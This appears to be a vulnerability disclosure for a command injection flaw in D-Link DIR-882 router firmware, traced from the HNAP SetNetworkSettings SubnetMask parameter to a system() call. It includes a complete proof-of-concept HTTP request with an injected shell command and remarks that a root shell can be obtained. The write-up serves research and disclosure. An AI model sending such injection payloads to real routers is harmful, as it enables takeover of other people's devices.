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D-link DIR882A1_FW130B06.bin Command injection vulnerability

Overview

1. Affected version

image-20220405112631846

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

image-20220405114315248

The program obtains the content through the / setnetworksettings / SubnetMask parameter and passes it to v7

image-20220405114338908

Then V7 formats the matched content into v39 through the sprintf function, and finally executes the content in v39 through the system function. There is a command injection vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Use the fat simulation firmware DIR882A1_FW130B06.bin
  2. Attack with the following POC attacks
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:7018
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetNetworkSettings"
HNAP_AUTH: 3C5A4B9EECED160285AAE8D34D8CBA43 1649125990491
Content-Length: 632
Origin: http://192.168.0.1:7018
Connection: close
Referer: http://192.168.0.1:7018/Network.html
Cookie: SESSION_ID=2:1556825615:2; uid=TFKV4ftJ

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetNetworkSettings xmlns="http://purenetworks.com/HNAP1/">
	<IPAddress>192.168.5.1</IPAddress>
	<SubnetMask>&& ls > /tmp/456 &&echo 1</SubnetMask>
	<DeviceName>dlinkrouter</DeviceName>
	<LocalDomainName></LocalDomainName>
	<IPRangeStart>1</IPRangeStart>
	<IPRangeEnd>254</IPRangeEnd>
	<LeaseTime>10080</LeaseTime>
	<Broadcast>false</Broadcast>
	<DNSRelay>true</DNSRelay>
</SetNetworkSettings>
</soap:Body>
</soap:Envelope>

The reproduction results are as follows:

image-20220405112133823

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell